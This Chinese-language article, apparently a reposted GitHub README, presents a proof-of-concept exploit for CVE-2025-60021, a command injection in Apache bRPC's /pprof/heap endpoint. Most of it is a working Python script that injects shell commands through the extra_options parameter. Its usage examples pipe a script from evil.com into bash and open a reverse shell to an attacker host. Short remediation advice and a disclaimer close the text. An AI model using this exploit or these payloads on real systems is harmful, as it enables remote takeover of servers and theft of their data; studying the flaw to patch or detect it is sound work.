Apache bRPC 远程命令注入漏洞(CVE-2025-60021)检测工具

5 阅读4分钟

Apache bRPC 远程命令注入漏洞(CVE-2025-60021)PoC

项目概述

本项目提供了一个针对 CVE-2025-60021 漏洞的概念验证(PoC)利用脚本。该漏洞存在于 Apache bRPC 的堆性能分析器(heap profiler)内置服务中,影响 1.15.0 之前的所有版本。攻击者可以通过未经验证的 extra_options 参数注入并执行任意操作系统命令。

漏洞详情

属性信息
漏洞编号CVE-2025-60021
影响产品Apache bRPC(全平台)
受影响版本< 1.15.0
漏洞类型远程命令注入(CWE-77)
利用端点/pprof/heap
触发参数extra_options
CVSS评分9.8/10(严重)

功能特性

  • 自动漏洞检测:通过发送特制请求验证目标是否存在 CVE-2025-60021 漏洞
  • 远程命令执行:利用漏洞在目标系统上执行任意命令
  • 灵活的命令注入:支持多种命令连接符(;&&|
  • 直观的结果反馈:显示 HTTP 响应状态和可能的命令输出
  • 简单易用的命令行界面:提供清晰的参数解析和使用说明

安装指南

系统要求

  • Python 3.x
  • 网络访问权限
  • 目标系统运行 Apache bRPC (< 1.15.0)

依赖安装

pip install requests

下载脚本

git clone https://github.com/Ashwesker/Ashwesker-CVE-2025-60021.git
cd Ashwesker-CVE-2025-60021

使用说明

基础用法

# 基本命令执行
python3 exploit.py http://target:8000 "whoami"

# 执行复杂命令
python3 exploit.py http://target:8000 "curl http://evil.com/shell.sh | bash"

# 执行带管道和重定向的命令
python3 exploit.py http://victim:8000 "cat /etc/passwd | grep root"

参数说明

使用示例

  1. 验证漏洞是否存在

    python3 exploit.py http://192.168.1.100:8000 "echo vulnerable"
    
  2. 获取系统信息

    python3 exploit.py http://target:8000 "uname -a && id"
    
  3. 反向Shell(示例)

    python3 exploit.py http://target:8000 "bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'"
    

核心代码

1. 主漏洞利用函数

def exploit(target_url, command):
    # 漏洞端点
    vuln_path = "/pprof/heap"
    
    # 负载:通过extra_options注入命令(jemalloc直接传递给system执行)
    # 使用 ; 或 && 或 | 连接命令
    payload = f"; {command} #"
    
    # URL编码(该漏洞不需要特殊编码)
    params = {
        "extra_options": payload
    }
    
    full_url = f"{target_url.rstrip('/')}{vuln_path}?{urllib.parse.urlencode(params)}"
    
    print(f"[*] 发送负载到: {full_url}")
    print(f"[*] 执行命令: {command}")
    
    try:
        # 使用GET请求(如果服务器允许,POST也可以工作)
        r = requests.get(full_url, timeout=10, verify=False)
        
        if r.status_code == 200:
            print("[+] 利用可能成功!(200 OK)")
            print("[+] 请检查监听器/服务器日志获取输出")
            # 如果命令产生stdout,输出可能在响应体中
            if r.text.strip():
                print("\n响应体(可能的命令输出):\n")
                print(r.text)
        else:
            print(f"[-] 收到状态码 {r.status_code} - 可能不存在漏洞?")
            print(r.text[:500])
            
    except Exception as e:
        print(f"[-] 错误: {e}")

2. 命令行参数解析

if __name__ == "__main__":
    # 创建参数解析器
    parser = argparse.ArgumentParser(description="CVE-2025-60021 PoC - Apache bRPC RCE")
    
    # 必需参数:目标URL和要执行的命令
    parser.add_argument("target", help="目标URL(如 http://victim:8000)")
    parser.add_argument("cmd", help="要执行的命令(如 'id' 或 'whoami' 或 'curl http://evil.com/shell.sh | bash')")
    
    # 解析命令行参数
    args = parser.parse_args()
    
    # 调用漏洞利用函数
    exploit(args.target, args.cmd)

3. 漏洞原理说明代码段

# 漏洞根本原因:
# Apache bRPC的heap profiler服务(/pprof/heap)在处理extra_options参数时,
# 未对用户输入进行充分的验证和清理,直接将参数传递给系统命令执行。
# 攻击者可以通过注入特殊字符(如;、&&、|)来执行任意命令。

# 漏洞请求示例:
# GET /pprof/heap?extra_options=;+恶意命令+#
# POST /pprof/heap (with extra_options=;恶意命令# in body)

# 修复建议:
# 1. 升级到Apache bRPC 1.15.0或更高版本
# 2. 在输入验证中对extra_options参数进行严格的过滤
# 3. 禁用不必要的profiling端点

4. 漏洞检测逻辑

# 漏洞检测可以通过以下方式:
# 1. 发送无害的测试命令(如echo test)
# 2. 检查响应状态码和内容
# 3. 验证命令是否实际执行

# 安全注意事项:
# 本工具仅用于合法的安全测试和漏洞验证
# 使用时需获得目标系统的明确授权
# 未经授权的测试可能违反法律和道德规范

免责声明

本工具仅用于教育目的和安全研究。使用者需确保:

  1. 仅在获得明确授权的系统上进行测试
  2. 遵守当地法律法规
  3. 不用于任何恶意或非法的目的
  4. 对使用本工具造成的任何后果负责

注意:该漏洞已在 Apache bRPC 1.15.0 版本中修复,建议所有用户立即升级到最新版本。 6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAPa7fk5J2/L2YkV9ucR20Sw